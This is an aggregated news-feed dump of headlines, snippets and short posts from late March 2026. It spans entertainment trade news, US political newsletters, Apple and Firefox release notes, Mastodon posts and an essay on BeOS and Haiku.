UPDATED, with White House comment: Bill Maher will be the recipient of the Kennedy Center’s Mark Twain Prize for American Humor in a ceremony in June. The prospect of awarding Maher the prize, first reported in The Atlantic last week, had the White House communications director denying it as “literally fake news.” President Donald Trump, […]

Series Mania Analysis: Streamers Put Their European Money Where Their Mouth Is

Money was the name of the game where streamers were concerned at Series Mania this year. An edition that has maybe felt a tad quieter than previous Lille confabs and suffered from a couple of last-minute keynote cancellations nonetheless was privy to grand spending commitments from Disney+, HBO Max and Prime Video. Disney+’s new European […]

Savannah Guthrie Talks Of Mother’s Abduction And Whether She Was Targeted Because Of Her Fame: “If It’s Me, I’m So Sorry”

Savannah Guthrie again made a plea for information as she sat down for her first interview since her mother’s disappearance, telling Hoda Kotb on NBC’s Today that “we cannot be at peace without knowing.” “Someone can do the right thing, and it is never too late to do the right thing, and our hearts are […]

Dragoncatcher: Cosleuth

A healthy dynamic. Read here.

Tahar Rahim Talks “Fantastic” Collaboration With Matt Charman For Sky Thriller ‘Prisoner’, Choosing Roles “Rooted In Truth” & Importance Of Having “A Seat At The Artistic Table”

In a world where false narratives feel more prevalent than ever, Tahar Rahim is searching for truth. The French-Algerian actor is gearing up for the U.S. release of Cannes Competition title Alpha from Titane helmer Julia Ducournau, which Neon is releasing on Friday, while next month sees the launch of his latest TV series Prisoner on Sky.  Both roles are […]

Warner Bros. Discovery Sets Shareholder Vote On Sale To Paramount

Warner Bros. Discovery has set April 23 at 10 am ET for a special meeting of shareholders to vote on the media giant’s sale to David Ellison’s Paramount Skydance, a key step forward in the process. WBD said it started mailing definitive proxy statements to shareholders ahead of the meeting where stockholders of record as […]

@Miguel de Icaza Mastondon feed

One small but interesting phenomenon about the Boston area.

Take water south of the Charles river (Boston, Brookline) tastes pretty good. North of the river (Cambridge) is like drinking diluted Pepsi bismol.

As the US Midterms Approach, AI Is Going to Emerge as a Key Issue Concerning Voters

In December, the Trump administration signed an executive order that neutered states’ ability to regulate AI by ordering his administration to both sue and withhold funds from states that try to do so. This action pointedly supported industry lobbyists keen to avoid any constraints and consequences on their deployment of AI, while undermining the efforts of consumers, advocates, and industry associations concerned about AI’s harms who have spent years pushing for state regulation.

Trump’s actions have clarified the ideological alignments around AI within America’s electoral factions. They set down lines on a new playing field for the midterm elections, prompting members of his party, the opposition, and all of us to consider where we stand in the debate over how and where to let AI transform our lives...

Oscar-Nominee Brady Corbet, ‘Pillion’ Filmmaker Harry Lighton, Audrey Diwan, Abi Morgan & More Set For Element Pictures’ Storyhouse Festival

The Brutalist writer-director Brady Corbet, Pillion filmmaker Harry Lighton and The Iron Lady writer Abi Morgan are among the talent set to participate in the third edition of Storyhouse, Element Pictures’ Dublin-based screenwriting festival.  This year’s event, which is returning to the Irish capital’s Light House Cinema on April 16-17, will also see French filmmaker Audrey Diwan, Bugonia writer Will Tracy and Sorry […]

The End : Focal Curve

I can’t remember the last time a blog post resonated with me this much.

Craig’s criteria on his job search:

• One: fuck offices
• Two: fuck AI
• Three: fuck React

And his conclusion:

Fuck work

adactio.com/links/22490

Off Today

Too much going on

Lit Hub Daily: March 26, 2026

“The King of the Beats has always attracted a fair amount of attention from collectors—especially since his passing in 1969.” The history of Jack Kerouac’s posthumous manuscript sales. | Lit Hub Criticism Stephanie Gorton talks to William Kennedy, legendary author

How MMA defines the Trump administration

It's a movement of insecure men trying to show how manly they are.

Don’t trust, verify

Software and digital security should rely on verification, rather than trust. I want to strongly encourage more users and consumers of software to verify curl. And ideally require that you could do at least this level of verification of other software components in your dependency chains. Attacks are omnipresent With every source code commit and … Continue reading Don’t trust, verify→

Poll: Americans reject ICE at airports, want Trump to end the war in Iran

A special Strength In Numbers/Verasight flash poll finds majorities oppose deploying ICE to airports, blame Trump for disruptions, and overwhelmingly oppose sending ground troops to Iran

How William Kennedy Turned a Bedtime Story For His Four-Year-Old Into a Publishing Sensation

On a recent afternoon in Averill Park, New York, William (Bill) and Brendan Kennedy sat in a room built around a pool table. Posters for Bill’s films hung on the walls: Jack Nicholson and Meryl Streep in Ironweed, Diane Lane

On the Auction Block: Jack Kerouac’s Record-Breaking Manuscripts

Just a few weeks ago, on March 12, 2026, which would have been Jack Kerouac’s 104th birthday, the On the Road scroll sold at auction at Christie’s in New York for a whopping $12,135,000. This marks a new and historic

Meet the Habsburgs! And Watch Them Marry Their Way Across Europe…

For three hundred years the Habsburgs had been the most powerful family in Europe. Astute positioning of their many princesses and princes in other royal houses had vastly increased their territories and their influence across the continent. Often avoiding the

Am I the Asshole For Thinking So Much Book Publicity is Cringe?

Welcome! You’ve found me. That’s right, it’s time for everyone’s favorite drunken advice column, Am I the Literary Asshole?, the notorious and fabulous all-time high of all-time lows. I’m your host, Kristen Arnett, and I like reading, writing, and very

Six Retellings That Pull Apart Fairy Tales and Stitch Them Back Together in New and Wondrous Ways

My love story with fairy tales—and with myths, their sometimes cousins, sometimes siblings, sometimes one and the same (depending on who you ask, and quite possibly the weather)—is long and convoluted. I was enthralled by them pretty much from the

How a Single Cup of Tea Can Help Build Community Across the World

What if a cup of tea could change the world? When I was 21 years old, I found a job as a nanny for a lovely British family in stunning Marin County, across the Golden Gate Bridge from San Francisco.

5 Book Reviews You Need to Read This Week

Our favorite criticism of the week includes Adam Becker on David Ariosto’s Open Space, Laura Miller on Serena Kutchinsky’s Kutchinsky’s Egg, Joan Frank on Colm Tóibín’s The News From Dublin, Adam Gopnik on A. M. Gittlitz’s Metropolitans, and Adam Nicolson

The Independent Press Top 40 Bestsellers: Nonfiction

Here are this week’s Independent Press Top 40 Bestsellers for nonfiction, based on sales in hundreds of independent bookstores nationwide, generously provided by the American Booksellers Association. Compiled, designed, and distributed by The Independent Publishers Caucus. * 1. The Gales

The Independent Press Top 40 Bestsellers: Fiction

Here are this week’s Independent Press Top 40 Bestsellers for fiction, based on sales in hundreds of independent bookstores nationwide, generously provided by the American Booksellers Association. Compiled, designed, and distributed by The Independent Publishers Caucus. * 1. Heart the

THE PRIVATE CREDIT IMPLOSION WILL TRIGGER A GREATER FINANCIAL CRISIS

Now more people are talking about Private Credit. Surely the many headlines coming day after day about funds denying their investors’ requests to cash out resonate more with a larger audience, hence deserve more visibility in media hungry to attract engagement and maximize advertising revenues compared to all the warnings...

The post THE PRIVATE CREDIT IMPLOSION WILL TRIGGER A GREATER FINANCIAL CRISIS appeared first on JustDario.

How Do We Protect Children from Becoming Addicted to Social Media?

Liability judgments and warning labels are not enough

@Dave Winer's linkblog

Tracy Kidder, Author of ‘The Soul of a New Machine,’ Dies at 80.

ICE Goons at the Airport and DACA Detentions (w/ Jonathan V. Last)

Leave it to travel delays during Spring Break to turn America’s focus to immigration again. This week, as Congress debates over funding and reforms to ICE, and Markwayne Mullin is sworn in as new Secretary of the Department of Homeland Security, Alex brings our attention back to the ongoing tactics the Trump administration is using to target immigrants and tear families apart. First she speaks to Stephanie Villarreal, whose husband has been detained despite being a DACA recipient. Then Alex speaks to Jonathan V. Last, editor of The Bulwark, about how to keep a spotlight on immigration, especially when they employ bureaucratic tactics to change someone's status, and why Trump is trying to force a voting rights bill into the debate.

To support Stephanie and her family: https://www.gofundme.com/f/help-keep-baby-and-father-together

New Martian Writing

If you've enjoyed my writing about space over the years, I invite you to subscribe to my new substack newsletter, titled ' Mars for the Rest of Us', where I've been posting weekly essays on topics around Mars exploration.

Here are two recent free posts:

• Musk on Mars: a timeline of Elon Musk's shifting public commitments to Mars settlement.
• A Primer on Long-Duration Life Support: an overview of the state of the art in regenerative life support, and technology gaps for Mars.

And some recent paywalled ones:

• Is Mars Habitable? — could any terrestrial organism survive on Mars today?
• Eyes and Bones — the health hazards of microgravity, as they stand in 2026.
• New Evidence for Old Life on Mars — the very strong case that Mars used to harbor life.
• Artificial Gravity — on the practicalities and impracticalities of using spin gravity on a Mars mission.
• The Mystery of Non-Targeted Effects — spooky 'action at a distance' in radiation biology and its implications for a Mars-bound crew.

Of course, I will continue writing here on all sorts of topics. But the substack is a way to earn some cheddar while converting five years of Mars notes into what I hope are some interesting and informative short articles.

A monthly subscription to the newsletter costs $5. I do everything I can to make it a good value!

I hope to see longtime readers there!

@Dave Winer's linkblog

NBA expansion: Naming the potential new Las Vegas team

@Dave Winer's linkblog

"Collaboration" is bullshit.

March 25, 2026

Yesterday Trump told reporters that Iran “gave us a present and the present arrived today.

Meta and YouTube found negligent in landmark social media addiction case

The implications of this case could include the effective end of Section 230 protections – and a new wave of attacks on places where people learn, share, and connect online.

Meta’s Moment of Reckoning

Pop some popcorn. Put some butter. Add some salt. Because opportunists (politicians) are pointing their muskets at villains (tech bros), using children’s welfare as the ammunition. In case you were wondering, I am talking about the battle between New Mexico AG and Silicon Valley’s villain in chief. The next bout is on May 4. So …

@Miguel de Icaza Mastondon feed

RE: https://mastodon.social/@tonyarnold/116292425012087568

When you are a Swift Traits user, every day is Xmas!

@Miguel de Icaza Mastondon feed

Back on the low carb diet

Digital Acedia

There's a malaise in the air, in the tech industry and on LinkedIn (well, there's always a malaise on LinkedIn, but this is a new variety). People of all stripes are constantly restless, constantly busy but unable to dedicate themselves to any real, substantive work. We watch the hours on the clock pass by, thinking that they're going too slowly, scrolling social media or news and waiting for the terrible software that we're using to, inch-by-inch, do the job that it's meant to be doing. When we go home and try and tackle all of the chores that life imposes on us (of which there are an increasing number), we have to fight the same distractions and challenges. We're constantly interrupted by buzzes from our phones or pings from email or instant messages. We find it increasingly hard to care about whatever the work is that we're actually doing, and before too long it starts feeling like we're all losing our minds. Though it's impossible to pin down, there's some pervasive feeling that all of the bright, shiny little technological artifacts that we carry with us might have something to do with it.

You’re Being Lied To—and You Know It

A recording from Mike Brock's live video

@Miguel de Icaza Mastondon feed

Does the new Xcode support SPM traits yet?

Trump Claims Florida Failed to Count All 15,000 Ballots He Mailed In

“The fact that we still didn’t win is proof that voting by mail doesn’t work," he charged.

@Miguel de Icaza Mastondon feed

RE: https://hachyderm.io/@rjmccall/116292209164721133

Not all heroes wear capes!

@Tomosino's Mastodon feed

Are you on macOS? I've tried to create a port for homebrew. I don't have a mac to verify if this worked well, but you can give this a try:

brew tap jamestomasino/beep
brew install jamestomasino/beep/beep

@Dave Winer's linkblog

Iran dismisses US ceasefire plan, as attacks persist across Mideast.

@Dave Winer's linkblog

OpenAI’s shock move with Sora should make you very nervous about the economy.

We Are Now An Upload (Broadband) Nation

For thirty-odd years, broadband has been sold as a one-way pipe. The download speed was all that mattered. Bigger the number, better. No one cared about the upload speeds, because the internet was mostly something you consumed. Streaming video, loading pages, pulling files from the cloud. Upload was an afterthought. All that changed when the …

Last Call - Tonight, 7pm EDT - This Week's Hopium Paid Subscriber Get Together

On DHS/ICE/TSA Congressional Dems are holding the line on reining in ICE.....

Wednesday session

Wednesday session

Flying Already Sucks. Trump Just Made it Even Worse.

How did he manage it?

An Open Letter to the Political Left

Crisis Dispatch

Trump Supporters Are Waking Up

Watch now | A recording from Dr. Steven Hassan's live video

This Week In The Big Picture

For decades, PFLAG has been a leading voice in supporting, educating, and advocating for LGBTQ+ people and those who love them.

Towards Rebirth

The Final Chapter of my unpublished manuscript

LibreOffice and the art of overreacting

A donation banner is not an attack to users The announcement that LibreOffice 26.8 will feature a donation banner in the Start Centre has prompted a flood of responses, ranging from positive from many FOSS supporters, who understand the need for funding, to mild apprehension to extreme alarm from others.

23 years!

Rudyard Kipling was right! “San Francisco has only one drawback — ’tis hard to leave.” I thought I would be here for two years, maybe. And then go back to New York. And here I am, still here. The city has given me more than I have given it. The rush of a modern gold …

How is Haiku different from GNU/Linux or BSDs?

I am risking the one full-time paid developer of Haiku popping up here and shouting at me, because he's done that a few times before and even written to my editor-in-chief to complain. Sadly for him, my former EIC was a hardcore techie -- it's how I met him, long before either of us worked there -- and he was on my side.

https://www.theregister.com/2023/01/11/haiku_beta_4/

Unix is a 1960s design for minicomputers. Minicomputers are text-only standalone multiuser computers. That is why things like handling serial lines (/dev/tty -- short for TeleTYpe) are buried deep in the core of Unix, but networking and graphics aren't.

There is an absolute tonne of legacy baggage like this in Unix. All Unixes, including Linux kernel 7.0. We do not use minicomputers any more; nobody even makes them. We don't have multiuser computers any more. In fact, we have multi computers per user. Modern servers are just PCs with lots of connections from other computers not from people.

In the early 1980s the Lisa flopped because it was $10K, but the Mac did well because it was $2.5K and had a GUI and no shell. The future, woo, etc.

The Mac was black and white, 1 sound channel, no hard disk, no expansion slots, and in cutting down the Lisa, Apple discarded multitasking.

Enter the Hi-Toro Lorraine. Intended to be the ultimate games console, with a powerful full-16 bit Motorola 68000 chip (a minicomputer CPU on a sdingle die) amazing colour graphics, multichannel stereo sound, but it could plug into a TV.

Commodore bought it, renamed it the Amiga, and tried to develop a fancy new ambitious OS, called Commodore Amiga Operating System: CAOS.

They couldn't get it to work so it was canned, and a replacement hastily cobbled together from the research OS Tripos written in BCPL and some new bits. It had a Mac-like windowing GUI, full preemptive multitasking (with no memory protection because the 68000 couldn't do that), and it fit on a single DD floppy (~880 kB) and into 512 kB (1/2 MB) of RAM.

It was a big hit and set a really high bar for expectations of what an inexpensive home computer could do. It ran rings around the Mac and could emulate a Mac with excellent compatibility.

A decade later a lot of people missed that. PCs and PC OSes were very boring by comparison. Sure, reliable, fairly good multitasking by then, dull grey UIs. Linux was a thing but it was for minicomputer fetishists only, and looked like it came from 20 years before Windows or Mac. (Which in a way it did.)

So a former Apple exec set up a company to make a modern geek's dream machine. Everything had true colour graphics and stereo sound now, so that was a given, not a selling point. It had to have a snazzy very fast very smooth GUI, it had to have excellent multitasking, screaming CPU performance because RISC chips were starting to take off. Mainstream computers struggled with >1 CPU so multiple RISC CPUs was the selling point, and amazing blindingly smooth multimedia support, because PCs and Macs could just about play one jerky grainy little video in a postage-stamp sized window in 267 grainy pixelated colours.

The BeBox was to be the mid-1990s geek's dream computer. Part of how they did it was an all-new multitasking single user OS with a very smooth built in GUI desktop, best-in-industry media support, built-in TCP/IP networking. All the cool bits of Windows NT, multitasking as good as Linux but pretty, a desktop better than Windows 95, and it threw all the multiuser stuff in the trash, all the boring server stuff in the trash, because FOSS OSes did that tedious business stuff.

It was beautiful.

It flopped.

The company pivoted to selling its OS on the other PowerPC kit vendor: on PowerMacs, with reverse-engineered drivers. It flopped. Classic MacOS was just barely good enough: crap multitasking, crap virtual memory, but loads of 1st class leading pro apps. BeOS had almost none.

So Be pivoted again. It ported its shiny new C++ OS to x86. You could buy multiprocessor x86 PCs in the late 1990s. I had one.

It was amazing on PC kit. It booted in under a tenth of the time that Windows sluggishly lurched into life. It could do blinding 3D like spinning solid shapes while movies played on their surfaces, and it did it all in software.

I reviewed it. I loved it.

https://archive.org/details/PersonalComputerWorldMagazine/PC...

But it still had almost no apps and while Microsoft could not prevent OEMs installing it, it could prevent them from installing a bootloader:

https://birdhouse.org/beos/byte/30-bootloader/

Be sued.

https://www.theregister.com/2002/02/20/be_inc_sues_microsoft...

It wasn't enough.

It pivoted into internet appliances but too late.

Me, I felt it should have done a deal with Acorn which was the only company with affordable multiprocessor ARM workstations at the time.

https://liam-on-linux.livejournal.com/55562.html

Haiku is an all-FOSS ground-up rewrite, but with the original desktop, which was FOSS. It's a lovely mixture of the Classic MacOS Finder and the Windows 95 Explorer, with the best bits of both but none of the bad bits.

Haiku is lovely. It's got a huge amount of Linux compatibility now. That means lots of apps, fixing the one big killer problem of BeOS.

But it is much bigger and much slower. It's still 10x smaller and 10x faster than any FOSS Unix but the original could boot in 5-10 seconds to the desktop in 1999 on a Pentium 200 from a PATA hard disk. A modern PC with an SSD should load it in half a second, but Haiku still takes 10 seconds or so. Good, sure, but not as impressive as BeOS was 25 years ago.

[Repurposed from HN: https://news.ycombinator.com/item?id=47520510 ]

comments

Xcode 26.4

Apple (xip, downloads): Xcode 26.4 includes Swift 6.3 and SDKs for iOS 26.4, iPadOS 26.4, tvOS 26.4, macOS 26.4, and visionOS 26.4. Xcode 26.4 supports on-device debugging in iOS 15 and later, tvOS 15 and later, watchOS 8 and later, and visionOS. Xcode 26.4 requires a Mac running macOS Tahoe 26.2 or later. There are […]

macOS 26.4

Juli Clover (release notes, security, enterprise, developer, full installer, IPSW): macOS Tahoe 26.4 returns the compact tab bar option to Safari for those who prefer the slimmed down look, along with a new Charge Limit feature for the Mac so you can set a maximum charge level from 80 to 100 percent. It also adds […]

macOS 15.7.5 and macOS 14.8.5

macOS 15.7.5 (security, full installer): This update provides important security fixes and is recommended for all users. macOS 14.8.5 (security, full installer): This update provides important security fixes and is recommended for all users. See also Howard Oakley. Previously: macOS 15.7.4 and macOS 14.8.4

iOS 26.4 and iPadOS 26.4

Juli Clover (iOS/iPadOS release notes, security, enterprise, developer): iOS 26.4 adds a new Apple Music feature called Playlist Playground, which uses AI to generate playlists for you based on text-based prompts. You can ask for moods, feelings, occasions, and more when making a request. Joe Rossignol: iOS 26.4 was released today, and it includes a […]

watchOS 26.4

Juli Clover (release notes, security, developer): The update makes it quicker to start a workout in the Workout app by tapping on a Workout type icon, plus it has eight new emoji characters that include orca, trombone, treasure chest, fight cloud, hairy creature, landslide, ballet dancer, and distorted face. Previously: Apple Watch Fitness Regressions watchOS […]

tvOS 26.4

Juli Clover (release notes, security, developer): Apple added a new Genius Browse section to the Apple TV app in tvOS 26.4. Genius Browse is a content discovery feature that provides recommendations for TV shows and movies across multiple suggested categories. Suggestions vary based on content preferences, and the options are updated regularly. […] tvOS 26.4 […]

visionOS 26.4

Juli Clover (no release notes, security, enterprise, developer): visionOS 26.4 includes bug fixes and security improvements, along with improved Spatial Audio and eight new emoji characters. New additions include distorted face, fight cloud, landslide, ballet dancer, treasure chest, trombone, orca, and hairy creature. Previously: visionOS 26.3

audioOS 26.4

Juli Clover (release notes): According to Apple’s release notes, HomePod Software 26.4 includes performance and stability improvements. Previously: audioOS 26.3

On Moral Imagination

On Where We Could Go From Here

‘Harry Potter’ Star Paapa Essiedu Says Filming Intimate BBC Series ‘Babies’ Had A Lasting Impact

Harry Potter star Paapa Essiedu took a break last year from filming HBO’s reboot of the iconic franchise to make an intimate series for the BBC about baby loss. Following a difficult week during which Essiedu said he had received death threats over his Severus Snape casting, he told Deadline that Stefan Golaszewski’s Babies has […]

‘Ted Lasso’ Actor Bill Fellows & Son Dylan Reeves Fellows Sign With U.S. Manager

EXCLUSIVE: British actor Bill Fellows (Ted Lasso) and son Dylan Reeves Fellows (Geek Girl) have signed with LA-based manager Nicole MacNaughton of Untamed Artists LA. Bill Fellows is a SAG Award winner for Ted Lasso, portraying George Cartrick, the old-school, abrasive former manager of AFC Richmond who provided a stark contrast to the positive coaching style of his successor. He spent three years as the homeless […]

‘Grey’s Anatomy’ Shocker: Kim Raver & Kevin McKidd Leaving; Creator Shonda Rhimes Teases “Happy Ending” For Teddy & Owen

In a Grey’s Anatomy shocker, two longtime cast members, Kim Raver and Kevin McKidd, will be departing the veteran medical drama at the end of this season. It is fitting that the duo is leaving together as they have been linked on the show for most of their tenures, with their characters Teddy Altman (Raver) […]

Adam Sandler Officially Sets Scott Cooper’s ‘Time Out’ As Next Film At Netflix Joined By Willem Dafoe, Gaby Hoffmann, F. Murray Abraham, Steve Zahn And Adam Horovitz

EXCLUSIVE: Willem Dafoe, Gaby Hoffmann, F. Murray Abraham, Steve Zahn And Adam Horovitz are set to join Adam Sandler in his next Netflix pic Time Out from director Scott Cooper. Cooper will write, direct and produce, with Tracey Landon serving as exec producer. Based on the film L’Emploi Du Temps by Laurent Cantet and Robin […]

Actress Aziza Scott Signs With Artists First

EXCLUSIVE: Actress Aziza Scott has inked with Artists First for management. Scott is coming off of success with One of Them Days, a buzzy TriStar Pictures comedy where she appeared alongside Keke Palmer and SZA. Directed by Lawrence Lamont from a script by Syreeta Singleton — both making their feature debut — the film grossed […]

Los Angeles County Supervisors Order Analysis Of Impact Of Paramount-Warner Bros. Discovery Merger

The Los Angeles County Board Of Supervisors voted to conduct an analysis of the proposed Paramount-Warner Bros. Discovery merger, including on the entertainment industry workforce. The study will be led by the Department of Economic Opportunity, with an interim report due in 60 days and final findings and recommendations in 120 days. The department will […]

Steve Mosko Joins Board Of Radial Entertainment

Steve Mosko, former longtime global television chief of Sony Pictures Entertainment and CEO of Village Roadshow Entertainment, has joined the board of Radial Entertainment, the expanding distribution company backed by Oaktree Capital Management. “Steve Mosko is one of the most respected leaders in our industry, with a rare blend of operating expertise, strategic judgment, and […]

Salter Cane gig on Saturday, April 4th in Brighton

People of Brighton, mark your calendars: Saturday, April 4th. That’s when Salter Cane will be playing in The Hope And Ruin.

It’s not just Salter Cane though. We’ll be joined by Skyscrapers from Lewes, and The Equatorial Group from Eastbourne. We’ve played with them before, and they’re superb!

Tickets are available now. They’re £8 in advance. It’ll be £10 on the door. So please get your ticket in advance!

Doors are at 7:30pm. Skyscrapers will be on stage at 8pm, The Equatorial group at 9pm, and Salter Cane at 10pm.

I’m really, really looking forward to rocking out playing songs from our newest album and I would love it if you could make it.

See you there!

UTA Signs Comedian Nataly Aukar

EXCLUSIVE: UTA has signed writer, actress, and stand-up comedian Nataly Aukar for global representation in all areas, with an eye toward helping her secure new opportunities across comedy touring, film and television, and more.  The signing comes ahead of the April 4 taping in Los Angeles of Aukar’s new stand-up special. Currently, the comic is […]

How Reverse Game Theory Could Solve The Housing Shortage

The post How Reverse Game Theory Could Solve The Housing Shortage appeared first on NOEMA.

Snoop Dogg To Star And Produce ‘God Of The Rodeo’ Pic From Director Rosalind Ross And Producers Giannina And Ridley Scott

EXCLUSIVE: Snoop Dogg is set to star in the true crime thriller God Of The Rodeo from director Rosalind Ross. Snoop and his Death Row Pictures partner, Sara Ramaker, also have signed on to produce the movie with Ross writing and directing. They will join previously announced producers Giannina Scott, who will produce for Cara […]

‘House Of The Dragon’ VFX Firm Pixomondo Set To Close

Sony has said it plans to “wind down” operations at its VFX production company Pixomondo.  We understand the studio plans to integrate some of the VFX outfit’s functions into other areas of production at Sony. It’s currently unclear how many staffers will be affected by the move or how much of the company Sony will […]

Shioli Kutsuna Joins ‘Gundam’ Movie From Netflix & Legendary

EXCLUSIVE: Shioli Kutsuna (Deadpool franchise) has landed a role alongside Sydney Sweeney, Noah Centineo and Michael Mando in Netflix’s live-action Gundam movie from Legendary, sources tell Deadline. Reps for Netflix and Legendary declined comment. Both Kutsuna’s role and the film’s plot are being kept under wraps. While Jason Clarke was also eyeing to star in […]

Grace Beedie, Molly Ringwald, David Arquette & Grace Dove Starring In Indie Pic ‘Crazy Sunshine: The Mess We Made’

EXCLUSIVE: Principal photography wraps this week in British Columbia, Canada, on the indie film Crazy Sunshine; The Mess We Made, starring Grace Beedie (Zero Chill), Molly Ringwald (Riverdale), David Arquette (Scream 7), and Grace Dove (Alaskda Daily). Written and directed by Christie Will (Slightly Single In LA) with co-writer Courtney Paige, the film is inspired […]

Firefox Developer Edition and Beta: Try out Mozilla’s .rpm package!

In January, we introduced our Nightly package for RPM-based Linux distributions. Today, we are thrilled to announce it is now available for Firefox Beta! Firefox Beta is great for testing your sites in a version of Firefox that will reach regular users in the coming weeks. If you find any issues, please file them on […]

The post Firefox Developer Edition and Beta: Try out Mozilla’s .rpm package! appeared first on Mozilla Hacks - the Web developer blog.

Science And Disorder

Writing of lasting value

Firefox 149 adds a free VPN and finally plays nice with Linux dialogs

In other browser news, Opera now caters to penguinista gamers

Firefox 149 is here, and although we've already talked about one of the big new features on the way, the release version has some others that will be very welcome.

Here’s the shortlist for the 2026 Women’s Prize For Non-Fiction.

The six book shortlist for this year’s Women’s Prize For Non-Fiction has been announced, an impressive collection that includes memoir, contemporary politics, biography, writing on health and science, and more. The prize aims to elevate women’s underrepresented voices in non-fiction,

Porting Go's io package to C

Interfaces, slices, multi-returns and alloca.

War and AI, the death of Sora, and 3 ways you can catch me live today

With apologies for the short notice, a few quick announcements:

BBC Confirms Ex-Google EMEA Chief Matt Brittin As Director General

The BBC has for the first time dived into the world of big tech for its director general. With reports swirling these past few weeks, the corporation has confirmed that former Google EMEA chief Matt Brittin will take on the most powerful role in British broadcasting, replacing Tim Davie. He will join on May 18. […]

@Pleiades STOA at hcommons.socal

Export Updates 2026-03-25:

Pleiades gazetteer of ancient places

4 updated places.

1. Downloads: https://pleiades.stoa.org/downloads

2. pleiades.datasets: https://github.com/isawnyu/pleiades.datasets:

"main" branch:

9c8eaa8f - updated json

no change: rdf/ttl

463db75e - updated gis package

164f95d4 - updated data quality

3cad3d76 - updated bibliography

ac48651b - updated indexes

78af6c9b - updated sidebar

3. pleiades-geojson: https://github.com/ryanfb/pleiades-geojson:

5d6f1671 - updated geojson and names index

4. pleiades_wikidata: https://github.com/isawnyu/pleiades_wikidata/:

e7ab5e24 - updated pleiades wikidata

Big Dem Flips In Florida, Iran War Has Gone To Shit, The "Deal" To Reopen DHS/TSA Falls Apart - The Regime Is Failing, Weakening, Coming Apart

Paid Subscribers gather tonight at 7pm EDT, Founding Members Friday at 1pm

‘Queens Ballroom’ Bows At CPH:FORUM, Hidden Story Of Immigrant Seniors Finding Their Footing In America

When filmmaker Hansen Lin opened the door to a building in the borough of Queens, New York, he didn’t realize he was entering a portal to the immigrant experience in America. Lin, producer of the award-winning documentary Always, was scouting a film project when he stumbled upon the edifice in the Chinatown section of Flushing. […]

@Dave Winer's Scripting News

Meanwhile I have to tend to the past. I had a server go down the other day, and haven't been able to get it running again. It's a very old one, the first I used PagePark for hosting the apps. So I'd rather not have to dig into whatever it is that's keeping it from running. This morning I moved the test app for XML-RPC, betty.userland.com, to another server, so this page now works again.

Death Of Disney’s OpenAI Deal Exposes Hollywood’s Vulnerability To The Capriciousness Of Big Tech

Welcome to Rendering, a Deadline column reporting at the intersection of AI and showbiz. Rendering examines how artificial intelligence is disrupting the entertainment industry, taking you inside key battlegrounds and spotlighting change makers wielding the technology for good and ill. Got a story about AI? Rendering wants to hear from you: jkanter@deadline.com. The old Silicon Valley cliche, coined by Mark Zuckerberg, […]

@Dave Winer's Scripting News

WordPress can now connect via MCP for both reading and writing. This sounds like a possible alternative for the wpcom api that we're building on in WordLand. Sometimes it feels like everything is being reinvented. If the world would just stand still for a moment we might be able to do some building. I wonder how the advent of AI is affecting how WordPress is being developed. I know it's changing everything here.

Joanna “JoJo” Levesque To Succeed Lea Michele In Broadway’s ‘Chess’

Multi-platinum singer, songwriter and actor Joanna “JoJo” Levesque (Moulin Rouge! The Musical) will return to Broadway this June to succeed the exiting Lea Michele in Broadway’s Chess musical revival. Levesque, who has often performed under the mononym JoJo, will begin performances in Chess at Broadway’s Imperial Theatre on Tuesday, June 23, two days after Michele […]

‘Ghosts’ Crowned Top-Selling Scripted Format Of 2025

EXCLUSIVE: Ghosts may have wrapped in the UK but the hit comedy continues to spook viewers around the world. The show has taken the top scripted format prize in K7’s annual “Tracking the Scripted Giants” report, having been adapted four times over the past 18 months in Australia, Germany, France and Greece. Created by a […]

@Tomosino's Mastodon feed

Do you want your computer to sound like an 80s #scifi device with lots of bleeps and bloops and swoops? Are you running #linux?

https://github.com/jamestomasino/beep

This is my recreation of an old program from nullsoft called 'beep' that does just that. The more stuff your computer is doing (cpu, mem, network, etc) the more it beeps and boops. Enjoy!

Sports Emmys Nominations: Keeping Score On 2025’s Best TV Coverage

It’s a wide world of TV sports out there, and it’s time to celebrate the best of it. The National Academy of Television Arts & Sciences is out with the nominations for the 47th annual Sports Emmy Awards. See the list below. Honoring excellence in sports television coverage from 2025 in 47 categories, the ceremony […]

INDOX Boards Lilyana Torres’ Hybrid Doc ‘I Want To Kill My Grandfather’ And Josef Gatti’s ‘Phenomena’

EXCLUSIVE: UK-based nonfiction agency INDOX has boarded Lilyana Torres’ hybrid feature I Want To Kill My Grandfather and Josef Gatti’s immersive science documentary Phenomena for worldwide festival representation.  I Want To Kill My Grandfather is currently in post-production and is described as a “darkly playful hybrid work that blurs documentary and fiction.” The film follows […]

Disney+ Reveals European Shows Including ‘Murder On Lake Garda’ Adaptation & Duffy Doc, As Angela Jain Commits To Greater International Spend

EXCLUSIVE: In her first interview since becoming head of content at Disney+ EMEA, Angela Jain has said the message to writers and producers is simple, the streamer is going to greenlight more originals from the region and will be backing that effort with extra funds for local fare. “A meticulous approach to judging what are […]

Sheridan Smith Teaming With Australian Stars From ‘The Newsreader’ & ‘Nitram’ For ITV-Stan Mystery Thriller ‘Two Birds’

EXCLUSIVE: Fresh off the back of her BAFTA nomination, Sheridan Smith is teaming with two Australian stars on an ITV-Stan mystery thriller from the producer behind Mr Bates vs the Post Office. Smith will star in Two Birds opposite Stephen Peacocke (The Newsreader) and Judy Davis (Nitram). Two Birds centers on British Police Constable Izzie […]

‘Morning Joe’ Co-Hosts Joe Scarborough and Mika Brzezinski Renew Deal To Stay At MS NOW

Morning Joe co-hosts Joe Scarborough and Mika Brzezinski have renewed their contracts and will stay at MS NOW until after the 2028 election, through 2029. The duo is entering through 20th year on the show, which was a morning mainstay on MSNBC before it split from Comcast. “Mika and I are excited to be staying with […]

It’s a real missed opportunity in Project Hail Mary that at no point does anyone look to the camera with a steely gaze and declare, “It’s daylight saving time.”

It’s a real missed opportunity in Project Hail Mary that at no point does anyone look to the camera with a steely gaze and declare, “It’s daylight saving time.”

Steven Spielberg’s ‘Disclosure Day’ Isn’t Launching At The Cannes Film Festival

As we’ve reported multiple times already, including as far back as December, Steven Spielberg’s Disclosure Day isn’t debuting at the Cannes Film Festival. Festival chief Thierry Frémaux yesterday suggested in an interview that the door was still open for the anticipated movie to launch on the Croisette, but we have had it reconfirmed from multiple […]

‘Today’ Co-Host Savannah Guthrie Sits Down With Hoda Kotb For First Interview Since Mother’s Disappearance

Today co-host Savannah Guthrie sat down with Hoda Kotb for her first interview since her mother Nancy’s disappearance, describing the ordeal as “unbearable.” The interview, which will air on Thursday and Friday, is Guthrie’s first since her mother was last seen on Jan. 31. Investigators have not identified any suspects in the abduction, and the […]

